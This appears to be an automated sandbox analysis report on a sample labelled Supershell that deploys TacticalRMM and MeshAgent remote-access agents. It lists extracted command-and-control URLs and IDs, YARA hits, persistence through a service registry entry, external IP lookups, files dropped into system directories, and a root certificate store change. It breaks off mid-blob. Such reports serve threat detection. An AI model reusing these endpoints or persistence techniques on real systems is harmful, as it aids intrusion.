ping...EnumChildWindowsEventMessageFileEvery other weekFRAME_SIZE_ERRORFile Not Found: FindFirstStreamWFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdipDisposeImageGetAsyncKeyStateGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleWindowGetCurrentActCtxGetCurrentThreadGetDesktopWindowGetFullPathNameWGetGUIThreadInfoGetKeyboardStateGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetModuleHandleWGetNamedPipeInfoGetOpenFileNameWGetPriorityClassGetSaveFileNameWGetSysColorBrushGetSystemMetricsHiberbootEnabledImageList_CreateImageList_RemoveImperial_AramaicInstRuneAnyNotNLIsDialogMessageWMapVirtualKeyExWMeroitic_CursiveMissing new_nameMissing old_nameMonitorFromPointMultiple ChoicesNATS reconnectedNatsPingIntervalNatsStandardPortNetApiBufferFreeNetLocalGroupAddNetLocalGroupDelNtSuspendProcessOpenProcessTokenOther_AlphabeticPayment RequiredProxy-ConnectionRCodeFormatErrorRead after CloseRegQueryInfoKeyWRegQueryValueExWRegisterClassExWRegistrationInfoRemoveDirectoryWRtlGetCurrentPebSETTINGS_TIMEOUTSHA-512-256-sessSafeArrayDestroySeDebugPrivilegeSetClassLongPtrWSetClipboardDataSetDllDirectoryWSetEntriesInAclWSetFilePointerExSetFileValidDataSetMenuItemInfoWSetPriorityClassSetServiceStatusSignatureScheme(System32\cmd.exeTactical RMM v%sTerminateProcessTrackPopupMenuExTranslateMessageUnregisterClassWUpgrade RequiredUse a http proxyUser-Agent: %s VirtualProtectExWWW-AuthenticateWinVerifyTrustExWorkingDirectoryWww-AuthenticateZanabazar_Square runtime stack:
Extracted
-
meshagent
-
2
-
TacticalRMM
-
http://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
-
mesh_id
0x841F73B273680CE972E11DE4D9D860D4133570D0EF3A311AF0D1771A0BBA5B35A9BF1E3D443531CDC25CC082246639BE
-
server_id
4A595DA5DCFB8F4667B26A40509C81FFD5CC8C6E5173C8B4599AC0EDAD4DE774F0BA8F55C6AA291179B45E62FBE4AD3F
-
wss
wss://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
Signatures
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Detects MeshAgent payload 1 IoCs
resource yara_rule behavioral2/files/0x000e00000001c551-26.dat family_meshagent - Detects executables containing URLs to raw contents of a Github gist 2 IoCs
resource yara_rule behavioral2/memory/5536-3343-0x00000265EBE00000-0x00000265EC978000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL behavioral2/files/0x000700000001d307-3341.dat INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 34 4344 powershell.exe 35 1952 powershell.exe 36 1952 powershell.exe 37 4344 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" " meshagent.exe - Executes dropped EXE 16 IoCs
pid Process 2036 tacticalagent-v2.11.0-windows-amd64.exe 2760 tacticalagent-v2.11.0-windows-amd64.tmp 5784 tacticalrmm.exe 5168 tacticalrmm.exe 3852 meshagent.exe 3120 MeshAgent.exe 5732 MeshAgent.exe 3192 MeshAgent.exe 4568 MeshAgent.exe 3952 tacticalrmm.exe 5224 tacticalrmm.exe 3368 tacticalrmm.exe 4816 python.exe 3608 MeshAgent.exe 1516 tacticalrmm.exe 3764 MeshAgent.exe - Loads dropped DLL 6 IoCs
pid Process 4816 python.exe 4816 python.exe 4816 python.exe 4816 python.exe 4816 python.exe 4816 python.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 icanhazip.com 22 icanhazip.com 33 icanhazip.com - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\shcore.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\DA86FB4602C804B3F0149AB55A62D3460BFB7379 MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcryptprimitives.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\DA27A721A8B610515002354CCB9F605CA68ABE3E MeshAgent.exe File opened for modification C:\Windows\System32\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\EF682E5D1C07AD79B8D6FCC6DF584069636F8907 MeshAgent.exe File opened for modification C:\Windows\System32\apphelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\CFBA47B949C5CDFC98B0381A4E5DCE4420A03912 MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\CFBA47B949C5CDFC98B0381A4E5DCE4420A03912 MeshAgent.exe File opened for modification C:\Windows\System32\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\combase.pdb MeshAgent.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Mesh Agent\dll\user32.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\anyio-4.13.0.dist-info\entry_points.txt tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\SHA512.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\psutil\_pswindows.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\anyio\abc\_streams.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\charset_normalizer-3.4.7.dist-info\WHEEL tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\isapi\threaded_extension.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\packaging\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_internal\operations\build\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\cachecontrol\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\urllib3\filepost.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pythonwin\mfc140u.dll tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\lib\pywintypes.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\win32security.pyd tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\SelfTest\Util\test_rfc1751.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32com\test\testPyComTest.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\SHA3_512.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\fancy_getopt.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\tests\test_extension.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools-82.0.1.dist-info\WHEEL tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32ctypes\core\ctypes\_authentication.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\_asyncio.pyd tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\TurboSHAKE128.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\urllib3\util\request.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip-26.1.1.dist-info\licenses\src\pip\_vendor\packaging\LICENSE.APACHE tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysmi\parser\smiv1compat.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pythonwin\pywin\default.cfg tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_distutils\sysconfig.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\urllib3\connectionpool.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\validators\finance.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\MD5.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\Demos\FileSecurityTest.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\api-ms-win-core-localization-l1-2-0.dll tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\api-ms-win-crt-locale-l1-1-0.dll tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\anyio\streams\file.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\msgpack-1.1.2.dist-info\INSTALLER tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysnmp\smi\compiler.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysnmp\smi\instrum.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\platformdirs-4.4.0.dist-info\licenses\LICENSE tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\websockets\extensions\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\PublicKey\ElGamal.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\SelfTest\PublicKey\test_ECC_Curve448.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\isapi\README.txt tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_internal\models\release_control.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pysnmplib-5.0.24.dist-info\INSTALLER tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pythonwin\pywin\Demos\dlgtest.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32com\HTML\image\pythoncom.gif tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32com\test\testIterators.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\cryptography\hazmat\bindings\_rust\openssl\ec.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\rich\live_render.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\setuptools\_vendor\tomli\__init__.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\scripts\h2py.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.asp tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32comext\mapi\mapitags.py tacticalrmm.exe File opened for modification C:\Program Files\Mesh Agent\DLL\kernel32.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\charset_normalizer\py.typed tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\SHAKE256.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Util\_cpu_features.py tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pywin32_ctypes-0.2.3.dist-info\WHEEL tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\win32\license.txt tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\Cryptodome\Hash\KMAC128.pyi tacticalrmm.exe File created C:\Program Files\TacticalAgent\python\py3.14.5_amd64\Lib\site-packages\pip\_vendor\rich\abc.py tacticalrmm.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\combase.pdb MeshAgent.exe File opened for modification C:\Windows\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\DLL\imm32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\ntasn1.pdb MeshAgent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_r05hbngy.n33.psm1 powershell.exe File opened for modification C:\Windows\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\dll\bcryptprimitives.pdb MeshAgent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_hnjpejk5.nxs.ps1 powershell.exe File opened for modification C:\Windows\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\DLL\imm32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\user32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\imm32.pdb MeshAgent.exe File opened for modification C:\Windows\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\symbols\DLL\dbgcore.pdb MeshAgent.exe -
pid Process 5132 powershell.exe 3172 powershell.exe 5812 powershell.exe 1952 powershell.exe 4344 powershell.exe - Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b